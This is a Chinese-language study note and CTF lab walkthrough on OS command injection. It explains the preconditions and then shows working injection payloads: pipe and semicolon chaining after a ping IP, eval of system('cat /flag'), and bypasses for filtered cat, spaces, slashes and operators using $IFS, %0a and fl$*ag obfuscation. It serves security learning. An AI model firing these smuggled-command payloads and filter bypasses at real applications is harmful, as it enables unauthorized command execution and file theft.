命令执行
原理:
在编写程序的时候,当碰到要执行系统命令来获取一些信息时,就要调用外部命令的函数,比如php中的exec()、system()等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令。
利用条件:
1.开发人员调用了能够执行系统命令的函数
2.这个函数的参数可控(即用户能够控制)
3.开发人员没有对该函数的参数进行过滤或过滤不严
常见的拼接符
常见Windows命令
常见Linux命令
例题
eval执行
先打开环境,查看他给的代码,url:/?cmd=system(“ls”);
继续查看cmd=system(“ls /”);’
看到flag,读取cmd=system(“cat /flag_13835”);
命令注入
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
看到IP,直接ping:127.0.0.1|ls
得到两个文件,ping第一个:127.0.0.1|cat XXXXX.php
没有什么显示,查看源代码得到flag
过滤cat
过滤了cat命令之后,你还有什么方法能读到 Flag?
这儿过滤的cat,用其他的命令查看文件,其余方法不变
使用head命令查看
过滤空格
过滤了空格,用其他符号代替就行(<,<>,%20(space),%09(tab),$IFS$9,{IFS}),其余方法不变,我用<代替
过滤目录分隔符
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
过滤了目录分割符,因此我们不能直接读取,我们可以先ping,再进入文件夹,再列举文件夹的内容
127.0.0.1|ls
127.0.0.1;cd flag_is_here;ls
127.0.0.1;cd flag_is_here;cat XXXXX.php
过滤运算符
过滤了几个运算符, 要怎么绕过呢
||、& 被过滤,不能使用,但并不是所有的运算符都被过滤,使用选取其他运算符就行我使用的是;
综合过滤练习
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
运算符、cat、flag、目录分割符都被过滤了,|用%0a代替
Url:?/127.0.0.1%0als
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#
?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_36062524228722.php